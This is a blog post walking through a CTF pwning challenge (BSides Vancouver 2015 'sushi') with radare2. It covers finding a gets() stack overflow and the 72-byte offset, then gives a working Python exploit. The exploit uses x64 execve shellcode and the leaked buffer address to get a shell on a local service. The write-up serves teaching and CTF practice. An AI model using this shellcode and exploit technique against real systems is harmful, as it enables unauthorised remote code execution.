I recently gave an informal workshop/introduction about pwning in ctf with radare2,
and this blogpost is roughly a detailed walk-through of one of the used challs,
since people asked me to write one. It's a pretty lame basic one,
but I was looking for ways to procrastinate,
and writing a blogpost is one of the best ones.
The binary is sushi, from the BSide Vancouver CTF 2015, a 100 points pwning.
$ r2 ./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8
[0x004004a0]> i~format
format elf64
[0x004004a0]> i~nx
nx false
[0x004004a0]> i~pic
pic false
[0x004004a0]> i~canary
canary false
All classic software mitigation are disabled, and it's a x64 binary.
[0x004004a0]> aa
[0x004004a0]> pdf @ main
╒ (fcn) main 93
│ ; var int local_8 @ rbp-0x40
│ ; DATA XREF from 0x004004bd (main)
│ 0x00400596 55 push rbp
│ 0x00400597 4889e5 mov rbp, rsp
│ 0x0040059a 4883ec40 sub rsp, 0x40
│ 0x0040059e 488d45c0 lea rax, [rbp-local_8]
│ 0x004005a2 4889c6 mov rsi, rax
│ 0x004005a5 bf88064000 mov edi, str.Deposit_money_for_sushi_here:__p_n ; "Deposit money for sushi here: %p." @ 0x400688
│ 0x004005aa b800000000 mov eax, 0
│ 0x004005af e89cfeffff call sym.imp.printf ;sym.imp.printf()
│ 0x004005b4 bf00000000 mov edi, 0
│ 0x004005b9 e8d2feffff call sym.imp.fflush ;sym.imp.fflush()
│ 0x004005be 488d45c0 lea rax, [rbp-local_8]
│ 0x004005c2 4889c7 mov rdi, rax
│ 0x004005c5 e8b6feffff call sym.imp.gets ;sym.imp.gets()
│ 0x004005ca 0fb645c0 movzx eax, byte [rbp-local_8]
│ 0x004005ce 0fbec0 movsx eax, al
│ 0x004005d1 89c6 mov esi, eax
│ 0x004005d3 bfaa064000 mov edi, str.Sorry___0._d_is_not_enough._n ; "Sorry, $0.%d is not enough.." @ 0x4006aa
│ 0x004005d8 b800000000 mov eax, 0
│ 0x004005dd e86efeffff call sym.imp.printf ;sym.imp.printf()
│ 0x004005e2 bf00000000 mov edi, 0
│ 0x004005e7 e8a4feffff call sym.imp.fflush ;sym.imp.fflush()
│ 0x004005ec b800000000 mov eax, 0
│ 0x004005f1 c9 leave
╘ 0x004005f2 c3 ret
[0x004004a0]>
It seems to be a classic stack-based buffer-overflow, in the gets function.
Notice that the address of the buffer used by gets
(named rbp-local_8 in radare2) is printed at 0x004005af, giving us a way
to bypass ASLR.
$ ragg2 -P 128 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
$ r2 -d ./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8
Process with PID 9484 started...
Attached debugger to pid = 9484, tid = 9484
Debugging pid = 9484, tid = 9484 now
Using BADDR 0x400000
Assuming filepath ./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8
bits 64
Attached debugger to pid = 9484, tid = 9484
[0x7f5ae80abcd0]> dc
Deposit money for sushi here: 0x7fff304132c0
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
Sorry, $0.65 is not enough.
[+] SIGNAL 11 errno=0 addr=(nil) code=128 ret=0
Debugging pid = 9484, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x004005f2]> dr=
r15 0x00000000 r14 0x00000000 r13 0x7fff304133e0
r12 0x004004a0 rbp 0x41415a4141574141 rbx 0x00000000
r11 0x00000246 r10 0x4169414168414167 r9 0x00000000
r8 0x7f5ae80a7980 rax 0x00000000 rcx 0x7ffffff3
rdx 0x7f5ae80a7980 rsi 0x00000001 rdi 0x00000001
orax 0xffffffffffffffff rip 0x004005f2 rflags = 1PIV
rsp 0x7fff30413308
[0x004005f2]> pd 1 @ rip
;-- rip:
0x004005f2 c3 ret
[0x004005f2]> pxW 4 @ rsp
0x7fff30413308 0x5a414159
[0x004005f2]> woO `pxW 4 @ rsp~[1]`
72
We got a nice SIGSEGV, and if we check the value of rip,
we can see that it's pointing to a ret instruction,
that pops 4 bytes from rsp, and jumps there (check ?d ret in
radare2 if you don't believe me). If we deference re rsp
and ask the De Bruijn offset finder, it tells us
that we need to pad with 72 bytes before gaining control of rip.
The backticks are directly borrowed from bash, and allow to chain
commands, the ~[1] is the internal grep, outputting only the second
column (they start at offset zero).
Since the stack is executable, we just need to grab a nice x64 shellcode, and voila:
import socket
import struct
import re
def rop(*args): # 'Q' and not 'I' for x64
return struct.pack('Q'*len(args), *args)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s = socket.create_connection(('127.0.0.1', 4444))
buffer_addr = re.search('^Deposit money for sushi here: (.+)$', s.recv(1024)).group(1)
buffer_addr = int(buffer_addr, 16)
s.send(shellcode + 'A'*(72 - len(shellcode)) + rop(buffer_addr) + '\n')
s.recv(1024)
while(True):
s.send(raw_input('$ ') + '\n')
print(s.recv(1024))
s.close()
Resulting in:
$ rarun2 program=./sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8 listen=4444 &
$ python exploit.py
connected
$ uptime
14:48:12 up 4:12, 8 users, load average: 0.12, 0.15, 0.20
$